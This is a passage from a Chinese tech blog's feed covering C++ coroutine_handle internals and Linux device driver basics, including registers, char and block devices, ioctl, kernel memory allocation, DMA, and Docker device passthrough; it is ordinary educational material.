&lt;li&gt;&lt;strong&gt;控制协程&lt;/strong&gt;：恢复（&lt;code&gt;resume&lt;/code&gt;）或销毁（&lt;code&gt;destroy&lt;/code&gt;）协程。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;访问协程的 &lt;code&gt;promise&lt;/code&gt; 对象&lt;/strong&gt;：作为与协程内部通信的桥梁。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;&lt;strong&gt;成员详解&lt;/strong&gt;&lt;/h3&gt;
&lt;h4&gt;构造与赋值 (Construction and Assignment)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;template &amp;lt;typename _Promise&amp;gt;
struct coroutine_handle { ... };
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;static coroutine_handle from_promise(_Promise&amp;amp; __p)&lt;/code&gt; 从一个 &lt;code&gt;promise&lt;/code&gt; 对象的引用创建一个有效的 &lt;code&gt;coroutine_handle&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;工作原理&lt;/strong&gt;：编译器在堆上分配协程状态时，&lt;code&gt;promise&lt;/code&gt; 对象是整个状态数据块的一部分。这个函数通过调用编译器内置的 &lt;code&gt;__builtin_coro_promise&lt;/code&gt;，传入 &lt;code&gt;promise&lt;/code&gt; 对象的地址，编译器就能通过指针运算&lt;strong&gt;反向推算出整个协程状态数据块的起始地址&lt;/strong&gt;，并用这个地址来初始化 &lt;code&gt;coroutine_handle&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;使用场景&lt;/strong&gt;：它几乎只在 &lt;code&gt;promise_type&lt;/code&gt; 的 &lt;code&gt;get_return_object()&lt;/code&gt; 方法中被调用，用于创建那个将要返回给调用者的任务对象（例如我们之前的 &lt;code&gt;AsyncTask&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;导出与导入 (Export and Import)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;constexpr void* address() const noexcept&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;constexpr static coroutine_handle from_address(void* __a) noexcept&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;address()&lt;/code&gt;：将句柄内部的 &lt;code&gt;void*&lt;/code&gt; 指针暴露出来。你可以将这个裸指针传递给一个 C函数。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;from_address()&lt;/code&gt;：从一个 &lt;code&gt;void*&lt;/code&gt; 指针重建 &lt;code&gt;coroutine_handle&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;警告&lt;/strong&gt;：这是一个不安全的操作。如果你从一个无效的地址创建句柄，后续操作将导致严重错误。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;类型转换 (Conversion)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;constexpr operator coroutine_handle&amp;lt;&amp;gt;() const noexcept&lt;/code&gt;
这个转换运算符允许你将一个&lt;strong&gt;特化版本&lt;/strong&gt;的句柄（例如 &lt;code&gt;coroutine_handle&amp;lt;MyPromise&amp;gt;&lt;/code&gt;）转换为一个&lt;strong&gt;非特化（类型擦除）版本&lt;/strong&gt;的句柄（&lt;code&gt;coroutine_handle&amp;lt;&amp;gt;&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;使用场景&lt;/strong&gt;：当你需要编写一个可以处理任何类型协程的通用调度器或执行器时，这个功能非常有用。调度器不需要知道 &lt;code&gt;promise&lt;/code&gt; 的具体类型，它只需要能够 &lt;code&gt;resume()&lt;/code&gt; 或 &lt;code&gt;destroy()&lt;/code&gt; 协程即可。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;状态观察 (Observers)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;constexpr explicit operator bool() const noexcept&lt;/code&gt;
一个标准的布尔转换，用于检查句柄是否为空。等价于 &lt;code&gt;address() != nullptr&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bool done() const noexcept&lt;/code&gt;
这是一个非常重要的状态检查函数。它通过调用 &lt;code&gt;__builtin_coro_done&lt;/code&gt; 来检查协程是否&lt;strong&gt;执行完毕&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;true&lt;/code&gt; 的条件&lt;/strong&gt;：协程已经执行到 &lt;code&gt;co_return&lt;/code&gt; 或函数体的末尾，并且&lt;strong&gt;当前正挂起在 &lt;code&gt;final_suspend&lt;/code&gt; 点&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;false&lt;/code&gt; 的条件&lt;/strong&gt;：协程还未执行完毕，或者协程已经执行完毕但已被 &lt;code&gt;destroy()&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;执行控制 (Resumption)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;void operator()() const&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;void resume() const&lt;/code&gt;
这是&lt;strong&gt;恢复协程执行&lt;/strong&gt;的两个方法（&lt;code&gt;operator()&lt;/code&gt; 只是 &lt;code&gt;resume()&lt;/code&gt; 的语法糖）。它通过调用 &lt;code&gt;__builtin_coro_resume&lt;/code&gt; 来执行恢复操作。这个编译器内置函数会负责恢复协程的上下文（寄存器等），然后跳转到上次暂停的位置继续执行。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;警告&lt;/strong&gt;：只能对处于挂起状态的协程调用 &lt;code&gt;resume()&lt;/code&gt;。对一个未挂起或已结束的协程调用 &lt;code&gt;resume()&lt;/code&gt; 是未定义行为。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;void destroy() const&lt;/code&gt;
这是&lt;strong&gt;销毁协程状态&lt;/strong&gt;的函数。它会调用 &lt;code&gt;__builtin_coro_destroy&lt;/code&gt;，这个内置函数会：&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;调用 &lt;code&gt;promise_type&lt;/code&gt; 的析构函数。&lt;/li&gt;
&lt;li&gt;调用协程参数和局部变量的析构函数。&lt;/li&gt;
&lt;li&gt;通过 &lt;code&gt;operator delete&lt;/code&gt; 释放整个协程状态占用的堆内存。&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;警告&lt;/strong&gt;：每个协程状态&lt;strong&gt;必须且只能被 &lt;code&gt;destroy()&lt;/code&gt; 一次&lt;/strong&gt;，否则会导致内存泄漏或二次释放。这通常通过 RAII 包装类（如我们示例中的 &lt;code&gt;AsyncTask&lt;/code&gt;）的析构函数来保证。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;Promise 访问 (Promise Access)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;_Promise&amp;amp; promise() const&lt;/code&gt;
这个函数允许句柄的持有者&lt;strong&gt;获取对协程内部 &lt;code&gt;promise&lt;/code&gt; 对象的引用&lt;/strong&gt;。这是调用者与协程进行数据交换的关键。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;工作原理&lt;/strong&gt;：它再次调用 &lt;code&gt;__builtin_coro_promise&lt;/code&gt;，传入协程状态的起始地址，编译器就能计算出 &lt;code&gt;promise&lt;/code&gt; 对象在该内存块中的确切位置并返回其引用。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;使用场景&lt;/strong&gt;：调用者可以通过 &lt;code&gt;task.handle.promise()&lt;/code&gt; 来获取协程计算的结果、抛出的异常，或者通过 &lt;code&gt;promise&lt;/code&gt; 提供的接口向协程传递数据。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;私有成员 (Private Member)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;void* _M_fr_ptr = nullptr;&lt;/code&gt;
这就是 &lt;code&gt;coroutine_handle&lt;/code&gt; 的全部家当：一个指向协程状态（&quot;frame pointer&quot;）的裸指针。所有公开的成员函数最终都是在操作这个指针。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;总结&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;coroutine_handle&lt;/code&gt; 本身很简单，它只是一个接口。真正的复杂性隐藏在编译器生成的代码和这些 &lt;code&gt;__builtin_coro_*&lt;/code&gt; 内置函数背后，它们共同构成了 C++ 协程高效运行的基石。&lt;/p&gt;
</content:encoded></item><item><title>设备驱动</title><link>https://blog.alinche.dpdns.org/posts/os/io/dev/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/os/io/dev/</guid><description>dev</description><pubDate>Mon, 13 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;1. 设备是一组寄存器，一个设备一个协议&lt;/h2&gt;
&lt;p&gt;设备: 一种交换信息的接口：包括：&lt;strong&gt;命令&lt;/strong&gt;、&lt;strong&gt;状态&lt;/strong&gt;、&lt;strong&gt;数据&lt;/strong&gt;
从驱动程序的角度来看，所有硬件设备都可以抽象为一组寄存器。这些寄存器是CPU与硬件设备之间沟通的桥梁。驱动程序通过读写这些寄存器来控制设备的行为、获取设备的状态以及传输数据。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;寄存器的种类&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;控制寄存器 (Control Registers)&lt;/strong&gt;：用于向设备发送命令，例如启动一次数据传输、设置设备模式等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;状态寄存器 (Status Registers)&lt;/strong&gt;：用于获取设备的当前状态，例如数据是否准备好、是否发生错误等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数据寄存器 (Data Registers)&lt;/strong&gt;：用于在CPU和设备之间传递数据。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;设备协议&lt;/strong&gt;：
设备协议是硬件设备与CPU（通过驱动程序）进行通信的一整套规则。它定义了：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;寄存器映射(Register Map)：驱动在初始化时会得到设备在系统I/O地址空间或内存地址空间中的位置。所有寄存器都通过这个基地址加上一个偏移量来访问。&lt;/li&gt;
&lt;li&gt;寄存器功能(Register Function)：驱动程序必须知道每个寄存器以及其中每个比特位的确切含义。写操作(THR)、读操作(RBR)、LSR(线路状态寄存器)等等&lt;/li&gt;
&lt;li&gt;命令序列与时序 &amp;amp; 中断机制。
驱动程序开发者需要依据硬件厂商提供的设备手册(Datasheet)，来理解每个寄存器的具体功能和操作流程。
例如，要让一个I2C设备执行读写操作，驱动程序需要按照特定的顺序，向控制寄存器写入启动信号、设备地址、寄存器地址，然后才能从数据寄存器中读写数据。而串口设备​​不需要设备地址和寄存器地址​​，因为CPU直接访问其物理寄存器，​​轮询状态寄存器​​和​​读写数据寄存器​​。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;因此，驱动程序的核心任务之一，就是将这些底层的、针对特定硬件的寄存器操作，封装成操作系统内核能够理解的标准接口。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. 字符设备(char dev) &amp;amp; 块设备(block dev)&lt;/h2&gt;
&lt;p&gt;在Linux中，设备主要分为两种类型：字符设备和块设备，以适应不同类型设备的I/O特性。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;字符设备 (Character Devices)&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;特性&lt;/strong&gt;：以字节为单位进行数据传输，不经过系统缓存。应用程序的读写请求会直接传递给驱动程序。顺序访问，适合实时性要求高、数据量小的设备。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;示例&lt;/strong&gt;：串口、键盘、鼠标、打印机等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;接口&lt;/strong&gt;：驱动程序实现 &lt;code&gt;read()&lt;/code&gt;、&lt;code&gt;write()&lt;/code&gt; 等操作，一次可以读写任意数量的字节。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;块设备 (Block Devices)&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;特性&lt;/strong&gt;：以固定大小的数据块（通常是512字节或其倍数）为单位进行数据传输。为了提高性能，块设备的I/O操作会经过系统的块设备层(Block Layer)进行&lt;strong&gt;缓存&lt;/strong&gt;和&lt;strong&gt;调度&lt;/strong&gt;。可随机访问，适合存储设备、需要高效传输大量数据的设备。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;示例&lt;/strong&gt;：硬盘、U盘、SD卡等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;接口&lt;/strong&gt;：驱动程序的核心是提供一个“请求函数”(&lt;code&gt;request function&lt;/code&gt;)，该函数处理来自块设备层的I/O请求。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;3. 编写一个设备驱动的核心要素&lt;/h2&gt;
&lt;p&gt;一个完整的Linux设备驱动程序通常由以下几个关键部分组成：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;file_operations&lt;/code&gt; 结构体&lt;/strong&gt;：
这是字符设备驱动的核心。它是一个&lt;strong&gt;函数指针&lt;/strong&gt;的集合，定义了当用户空间程序对设备文件执行 &lt;code&gt;open&lt;/code&gt;、&lt;code&gt;read&lt;/code&gt;、&lt;code&gt;write&lt;/code&gt;、&lt;code&gt;ioctl&lt;/code&gt; 等系统调用时，内核应该调用的相应驱动函数。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;模块初始化与退出函数 (&lt;code&gt;lx_init&lt;/code&gt;, &lt;code&gt;lx_exit&lt;/code&gt;)&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;module_init(lx_init)&lt;/code&gt;：通过 &lt;code&gt;module_init&lt;/code&gt; 宏注册的初始化函数，在驱动模块被加载到内核时调用。
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;资源分配&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;使用 &lt;code&gt;alloc_chrdev_region()&lt;/code&gt; 动态分配设备号范围&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;class_create()&lt;/code&gt; 创建设备类&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;设备注册&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;通过 &lt;code&gt;cdev_init()&lt;/code&gt; 初始化字符设备结构&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;cdev_add()&lt;/code&gt; 将设备添加到系统&lt;/li&gt;
&lt;li&gt;通过 &lt;code&gt;device_create()&lt;/code&gt; 创建设备节点&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;硬件初始化&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;执行设备特定的硬件初始化&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;module_exit(lx_exit)&lt;/code&gt;：通过 &lt;code&gt;module_exit&lt;/code&gt; 宏注册的退出函数，在模块被卸载时调用。
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;设备注销&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;使用 &lt;code&gt;device_destroy()&lt;/code&gt; 销毁设备节点&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;cdev_del()&lt;/code&gt; 移除字符设备&lt;/li&gt;
&lt;li&gt;通过 &lt;code&gt;class_unregister()&lt;/code&gt; &lt;code&gt;class_destroy()&lt;/code&gt; 销毁设备类&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;资源释放&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;通过 &lt;code&gt;unregister_chrdev_region()&lt;/code&gt; 释放设备号&lt;/li&gt;
&lt;li&gt;释放所有分配的内存和资源&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;硬件清理&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;恢复硬件到安全状态&lt;/li&gt;
&lt;li&gt;释放硬件资源&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;核心操作函数 (&lt;code&gt;read&lt;/code&gt;, &lt;code&gt;write&lt;/code&gt;, &lt;code&gt;ioctl&lt;/code&gt;)&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;read()&lt;/code&gt;：从设备读取数据并将其拷贝到用户空间的功能。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;write()&lt;/code&gt;：将用户空间的数据写入设备的功能。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ioctl()&lt;/code&gt;：&lt;code&gt;ioctl&lt;/code&gt; (Input/Output Control) 是一个特殊的接口，用于处理那些无法通过简单的 &lt;code&gt;read&lt;/code&gt;/&lt;code&gt;write&lt;/code&gt; 实现的设备特定命令。例如，设置串口的波特率、获取摄像头支持的分辨率等。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;设备私有数据结构&lt;/strong&gt;：
驱动程序通常会定义一个私有的结构体，用于存放该设备特有的状态信息、资源指针（如内存映射地址、中断号）、锁（用于并发控制）等。这个结构体实例通常在设备被探测到(probe)或打开(open)时创建和初始化。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;4. 驱动程序通过&lt;code&gt;VFS&lt;/code&gt;向用户空间暴露功能&lt;/h2&gt;
&lt;p&gt;驱动程序本身运行在内核空间，为了让用户空间的应用程序能够使用硬件设备，Linux提供了一套标准的机制。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;虚拟文件系统 (VFS - Virtual File System)&lt;/strong&gt;：
VFS 是一个内核抽象层，它为用户空间程序提供了统一的文件操作接口（&lt;code&gt;open&lt;/code&gt;, &lt;code&gt;read&lt;/code&gt;, &lt;code&gt;write&lt;/code&gt; 等），而无需关心底层文件系统或硬件设备的具体实现。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;设备文件节点 (Device Nodes)&lt;/strong&gt;：
驱动程序在初始化时，会通过内核函数在 &lt;code&gt;/dev&lt;/code&gt; 目录下创建一个特殊的设备文件。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;创建&lt;/strong&gt;：通常使用 &lt;code&gt;class_create&lt;/code&gt; + &lt;code&gt;device_create&lt;/code&gt; 来创建设备节点。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;主次设备号&lt;/strong&gt;：每个设备文件都与一个主设备号 (Major Number) 和一个次设备号 (Minor Number) 相关联。主设备号用于标识驱动程序，次设备号用于区分由同一驱动程序管理的多个同类设备。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;ioctl()&lt;/code&gt; 的核心作用&lt;/strong&gt;：
当用户程序打开 &lt;code&gt;/dev&lt;/code&gt; 下的设备文件后，就可以像操作普通文件一样对其进行读写。然而，对于复杂的设备控制，&lt;code&gt;ioctl()&lt;/code&gt; 接口至关重要。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;命令和参数&lt;/strong&gt;：用户程序通过 &lt;code&gt;ioctl&lt;/code&gt; 系统调用，向驱动程序传递一个表示特定命令的整数（&lt;code&gt;cmd&lt;/code&gt;）和一个可选的参数（&lt;code&gt;arg&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;驱动实现&lt;/strong&gt;：驱动程序中的 &lt;code&gt;ioctl&lt;/code&gt; 函数会根据传入的 &lt;code&gt;cmd&lt;/code&gt;，执行相应的硬件操作，并通过 &lt;code&gt;arg&lt;/code&gt; 与用户空间交换数据。这为驱动程序提供了一个灵活且可扩展的接口，用于实现任意的设备特定功能。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;5. 设备驱动中的并发与同步&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;并发的主要来源：多任务处理、多处理器SMP、中断处理、抢占性​任务&lt;/li&gt;
&lt;li&gt;原子操作 锁 信号量 中断屏蔽 WaitQ&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;6. 设备驱动内存管理与DMA&lt;/h2&gt;
&lt;p&gt;驱动程序在内核空间运行，必须使用内核提供的内存管理接口来安全地分配和使用内存。此外，为了实现高效的数据传输，现代设备通常使用DMA技术。&lt;/p&gt;
&lt;h3&gt;内存管理&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;kmalloc()&lt;/code&gt;&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;描述&lt;/strong&gt;：分配的是&lt;strong&gt;物理上连续&lt;/strong&gt;的内核内存块。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特点&lt;/strong&gt;：分配速度快，但可能因为物理内存碎片而导致大块内存分配失败。由于物理上连续，非常适合用于DMA操作。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;标志(gfp_t flags)​​&lt;/strong&gt;：&lt;code&gt;GFP_KERNEL&lt;/code&gt; 是最常用的标志，表示如果内存不足，调用者可以睡眠等待。&lt;code&gt;GFP_ATOMIC&lt;/code&gt; 则用于中断上下文或持有自旋锁等场景，表示不能睡眠，内核要尽力满足分配请求。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;vmalloc()&lt;/code&gt;&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;描述&lt;/strong&gt;：分配的是&lt;strong&gt;虚拟地址上连续&lt;/strong&gt;、但物理上可能不连续的大块内核内存。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特点&lt;/strong&gt;：可以分配非常大的内存块，因为它不受物理连续性的限制。但由于需要建立页表映射，其分配/读写性能开销比 &lt;code&gt;kmalloc()&lt;/code&gt; 大，且通常不适合直接用于DMA。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;页分配器 &lt;code&gt;alloc_pages()&lt;/code&gt;&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;描述&lt;/strong&gt;：以页（通常4KB）为单位分配物理连续内存。alloc_pages()返回 struct page *，__get_free_pages()返回起始虚拟地址。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特点&lt;/strong&gt;：可以分配比 kmalloc 更大的物理连续内存块（多页），用于DMA的缓冲区或某些特殊硬件需求。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;内存映射 &lt;code&gt;mmap&lt;/code&gt;&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;描述&lt;/strong&gt;：&lt;code&gt;mmap&lt;/code&gt; 是一种允许用户空间应用程序&lt;strong&gt;直接访问&lt;/strong&gt;设备内存（如显卡的显存）或驱动程序分配的内核缓冲区的强大机制。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;工作原理&lt;/strong&gt;：驱动程序通过实现 &lt;code&gt;file_operations&lt;/code&gt; 中的 &lt;code&gt;mmap&lt;/code&gt; 函数，将设备的物理内存地址或内核缓冲区映射到调用进程的虚拟地址空间。这样，应用程序就可以像访问普通内存一样读写设备，避免了在内核空间和用户空间之间进行数据拷贝的开销，极大地提高了I/O效率。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;直接内存访问 (DMA - Direct Memory Access)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;概念&lt;/strong&gt;：DMA允许外部设备在没有CPU介入的情况下，直接与系统主内存进行数据传输。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优势&lt;/strong&gt;：当设备需要传输大量数据时（如网卡收发数据包、磁盘读写文件），DMA可以把CPU从繁重的内存拷贝工作中解放出来，使CPU只需初始化DMA传输在传输完成时处理中断即可，从而极大地提升系统吞吐量和响应性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;驱动的工作流程&lt;/strong&gt;：
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;分配DMA缓冲区&lt;/strong&gt;：驱动程序使用 &lt;code&gt;dma_alloc_coherent()&lt;/code&gt; API分配一块物理上连续且对设备可见的内存区域。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;获取总线地址&lt;/strong&gt;：内核会返回该缓冲区的CPU虚拟地址和设备总线地址。驱动程序使用虚拟地址来填充数据，而将总线地址写入设备的DMA控制器寄存器。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;编程DMA控制器&lt;/strong&gt;：驱动程序通过I/O操作，告诉设备要传输的数据的源地址（总线地址）、目标地址、数据长度等信息，然后启动DMA传输。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;传输完成&lt;/strong&gt;：传输完成后，设备会通过产生一个中断来通知CPU。驱动程序的中断处理函数随后会进行后续处理，例如通知上层协议栈数据已准备好。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;7. Docker如何获取并使用宿主机的设备&lt;/h2&gt;
&lt;p&gt;Docker作为一个用户空间的应用程序，其容器本质上是运行在宿主机内核上的一个隔离进程。&lt;/p&gt;
&lt;h3&gt;Docker访问设备的基本方式&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;--device&lt;/code&gt; 标志&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;描述&lt;/strong&gt;：这是最直接的方式。它允许你将宿主机上的一个设备文件（如 &lt;code&gt;/dev/sda1&lt;/code&gt;、&lt;code&gt;/dev/ttyUSB0&lt;/code&gt;）明确地暴露给容器。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;示例&lt;/strong&gt;：&lt;code&gt;docker run --device=/dev/ttyUSB0 my_container&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;工作原理&lt;/strong&gt;：Docker引擎会通过 stat() 系统调用，获取设备的元数据（设备类型、主次设备号），利用Linux内核的&lt;strong&gt;cgroups&lt;/strong&gt;机制，在容器的设备控制组中明确授权该容器可以访问指定的主/次设备号。同时，它会在容器的挂载命名空间(Mount Namespace)的 &lt;code&gt;/dev&lt;/code&gt; 目录下执行 mknod() 系统调用创建相应的&lt;code&gt;设备文件节点&lt;/code&gt;，性能开销极低，实现“透传”设备。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;cgroups&lt;/strong&gt;: type major:minor permissions(rwm)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;每一次涉及该设备的系统调用&lt;/strong&gt;: 内核的VFS层接收到 open(&quot;/dev/mydevice&quot;, O_RDWR); 请求，解析设备信息，查看发起open的进程所属cgroup的设备控制器配置。通过后VFS就像处理任何来自宿主机的请求一样分派open请求、返回fd来执行read()/write()/ioctl()&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;特权模式 (&lt;code&gt;--privileged&lt;/code&gt;)&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;描述&lt;/strong&gt;：这是一个“一刀切”的强大选项。它会移除容器与宿主机之间几乎所有的隔离（包括cgroups、AppArmor、Seccomp等），使得容器内的root用户拥有与宿主机root用户几乎相同的权限。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;效果&lt;/strong&gt;：在这种模式下，容器可以访问宿主机上&lt;strong&gt;所有&lt;/strong&gt;的设备，即 &lt;code&gt;/dev&lt;/code&gt; 目录下的所有内容。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;风险&lt;/strong&gt;：极不安全，给予了容器过多的权限，应仅在绝对必要且完全信任镜像来源时使用。
&amp;lt;!-- ### Bind Mount 详解 --&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;P.S.&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;用户态设备驱动&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;追求​​极致性能​​且愿意承担更复杂的开发 （SPDK/DPDK）
&lt;ul&gt;
